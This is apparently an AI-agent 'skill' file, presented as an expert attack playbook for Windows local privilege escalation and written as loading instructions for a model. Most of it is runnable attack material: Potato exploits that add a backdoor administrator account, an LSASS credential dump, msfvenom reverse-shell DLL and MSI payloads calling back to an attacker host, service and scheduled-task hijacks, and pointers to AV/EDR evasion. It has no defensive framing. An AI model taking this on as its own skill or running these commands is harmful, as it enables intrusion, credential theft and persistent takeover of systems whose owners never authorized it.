- SKILL: Windows Local Privilege Escalation — Expert Attack Playbook
- AI LOAD INSTRUCTION
- Expert Windows privesc techniques. Covers token manipulation, Potato family, service misconfigurations, DLL hijacking, AlwaysInstallElevated, scheduled task abuse, registry autoruns, and named pipe impersonation. Base models miss nuanced privilege prerequisites and OS-version-specific constraints. 0. RELATED ROUTING Before going deep, consider loading: windows-lateral-movement after escalation for pivoting to other hosts windows-av-evasion when AV/EDR blocks your privesc tools active-directory-kerberos-attacks when the host is domain-joined and you need AD-level escalation active-directory-acl-abuse for domain privilege escalation via ACL misconfigurations Advanced Reference Also load TOKEN_POTATO_TRICKS.md when you need: Detailed Potato family comparison (JuicyPotato → GodPotato evolution) OS-version-specific exploit selection Required privileges and protocol details per variant Also load UAC_BYPASS_METHODS.md when you need: UAC bypass technique matrix (fodhelper, eventvwr, sdclt, etc.) Auto-elevate binary abuse Mock trusted directory tricks 1. ENUMERATION CHECKLIST System Context whoami /all & REM Current user, groups, privileges systeminfo & REM OS version, hotfixes, architecture hostname & REM Machine name net user %USERNAME% & REM Group memberships Token Privileges (Critical) whoami /priv Privilege Escalation Path SeImpersonatePrivilege Potato family exploits (§2) SeAssignPrimaryTokenPrivilege Token manipulation, Potato variants SeDebugPrivilege Dump LSASS, inject into SYSTEM processes SeBackupPrivilege Read any file (SAM/SYSTEM/NTDS.dit) SeRestorePrivilege Write any file (DLL hijack, service binary) SeTakeOwnershipPrivilege Take ownership of any object SeLoadDriverPrivilege Load vulnerable kernel driver → kernel exploit Services & Scheduled Tasks sc query state= all & REM All services wmic service get name,displayname,pathname,startmode | findstr /i "auto" schtasks /query /fo LIST /v & REM Verbose scheduled task list Installed Software & Patches wmic product get name,version wmic qfe list & REM Installed patches Network & Credentials netstat -ano & REM Listening ports + PIDs cmdkey /list & REM Stored credentials dir C:\Users*\AppData\Local\Microsoft\Credentials* reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul 2. TOKEN MANIPULATION & POTATO EXPLOITS SeImpersonatePrivilege Abuse Service accounts (IIS AppPool, MSSQL, etc.) typically hold SeImpersonatePrivilege . This enables impersonation of any token presented to you. Tool OS Support Protocol Notes JuicyPotato Win7–Server2016 COM/DCOM Requires valid CLSID; patched on Server2019+ RoguePotato Server2019+ OXID resolver redirect Needs controlled machine on port 135 PrintSpoofer Win10/Server2016-2019 Named pipe via Print Spooler Simple, fast; Spooler must run SweetPotato Broad COM + Print + EFS Combines multiple techniques GodPotato Win8–Server2022 DCOM RPCSS Works on latest patched systems
PrintSpoofer (simplest for modern systems)
PrintSpoofer64.exe -i -c "cmd /c whoami"
GodPotato (broadest compatibility)
GodPotato.exe -cmd "cmd /c net user hacker P@ss123 /add && net localgroup administrators hacker /add"
JuicyPotato (legacy systems)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {CLSID} SeDebugPrivilege Abuse
Dump LSASS (if SeDebugPrivilege is enabled)
procdump
ma lsass . exe lsass . dmp
Or migrate into a SYSTEM process
Meterpreter: migrate to winlogon.exe / services.exe
- SERVICE MISCONFIGURATIONS Unquoted Service Paths
Find unquoted paths with spaces
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\" | findstr /i /v """ If path is C:\Program Files\My App\service.exe , Windows tries: C:\Program.exe C:\Program Files\My.exe C:\Program Files\My App\service.exe Place malicious binary at first writable location. Weak Service Permissions
Check service ACL with accesschk (Sysinternals)
accesschk64.exe -wuvc * /accepteula
Look for: SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS
Reconfigure service to run attacker binary
sc config vuln_svc binpath= "C:\temp\rev.exe" sc stop vuln_svc sc start vuln_svc Writable Service Binaries
Check if current user can write to the service binary path
icacls "C:\Program Files\VulnApp\service.exe"
(F) = Full, (M) = Modify, (W) = Write → replace binary
- DLL HIJACKING DLL Search Order (Standard) Directory of the executable C:\Windows\System32 C:\Windows\System C:\Windows Current directory Directories in %PATH% Exploitation
Find missing DLLs (use Process Monitor)
Filter: Result=NAME NOT FOUND, Path ends with .dll
Compile malicious DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll > evil.dll
Place in writable directory that comes before the real DLL location
Known Phantom DLL Targets Application Missing DLL Drop Location Various .NET apps profapi.dll Application directory Windows services wlbsctrl.dll %PATH% writable dir Third-party updaters VERSION.dll Application directory 5. ALWAYSINSTALLELEVATED
Check both registry keys — BOTH must be set to 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Generate MSI payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f msi > evil.msi msiexec /quiet /qn /i evil.msi 6. SCHEDULED TASK ABUSE
Enumerate tasks with writable scripts or missing binaries
schtasks /query /fo LIST /v | findstr /i "Task To Run|Run As User|Schedule Type"
Check permissions on task binary
icacls "C:\path\to\task\binary.exe"
If writable: replace binary, wait for task execution
If missing: place your binary at the expected path
Scheduled Task via PowerShell
If you can create tasks (unlikely from low priv, useful post-UAC-bypass)
$action
New-ScheduledTaskAction
Execute "C:\temp\rev.exe" $trigger = New-ScheduledTaskTrigger - AtLogon Register-ScheduledTask - TaskName "Updater" - Action $action - Trigger $trigger - User "SYSTEM" 7. REGISTRY AUTORUNS
Check writable autorun locations
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Check permissions with accesschk
accesschk64.exe -wvu "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /accepteula If an autorun entry points to a writable path → replace binary or inject new entry. 8. NAMED PIPE IMPERSONATION
Service account creates a named pipe, tricks a SYSTEM process into connecting
The connecting client's token is then impersonated
PrintSpoofer leverages this with the Print Spooler:
PrintSpoofer64 . exe - i - c powershell . exe Custom named pipe server (requires SeImpersonatePrivilege):
Create pipe → coerce SYSTEM connection → ImpersonateNamedPipeClient() → SYSTEM token
- AUTOMATED TOOLS Tool Purpose Command winPEAS Comprehensive Windows enumeration winPEASx64.exe PowerUp Service/DLL/registry misconfig checks Invoke-AllChecks Seatbelt Security-focused host survey Seatbelt.exe -group=all SharpUp C# port of PowerUp checks SharpUp.exe audit PrivescCheck PowerShell privesc checker Invoke-PrivescCheck BeRoot Common misconfig finder beRoot.exe
- PRIVILEGE ESCALATION DECISION TREE Low-privilege shell on Windows │ ├── whoami /priv → SeImpersonatePrivilege? │ ├── Yes → Potato family (§2) │ │ ├── Server2019+/Win11 → GodPotato or PrintSpoofer │ │ ├── Server2016/Win10 → PrintSpoofer or SweetPotato │ │ └── Older → JuicyPotato (need CLSID) │ └── SeDebugPrivilege? → LSASS dump / process injection │ ├── Service misconfigurations? │ ├── Unquoted path with spaces + writable dir? → binary plant (§3) │ ├── SERVICE_CHANGE_CONFIG on service? → reconfigure binpath (§3) │ └── Writable service binary? → replace executable (§3) │ ├── DLL hijacking opportunity? │ ├── Missing DLL in search path? → plant malicious DLL (§4) │ └── Writable directory in %PATH%? → DLL plant (§4) │ ├── AlwaysInstallElevated set? │ └── Both HKLM+HKCU = 1 → MSI payload (§5) │ ├── Scheduled task abuse? │ ├── Task runs as SYSTEM with writable binary? → replace (§6) │ └── Task references missing binary? → plant binary (§6) │ ├── Registry autorun writable? │ └── Writable binary path → replace on next login/reboot (§7) │ ├── UAC bypass needed? (medium integrity → high integrity) │ └── Load UAC_BYPASS_METHODS.md │ ├── Stored credentials? │ ├── cmdkey /list → runas /savecred │ ├── Autologon in registry? → plaintext creds │ └── WiFi passwords, browser creds, DPAPI │ └── None of the above? ├── Run winPEAS for comprehensive scan ├── Check internal services (netstat -ano) ├── Look for sensitive files (unattend.xml, web.config, *.config) └── Check for kernel exploits (systeminfo → Windows Exploit Suggester)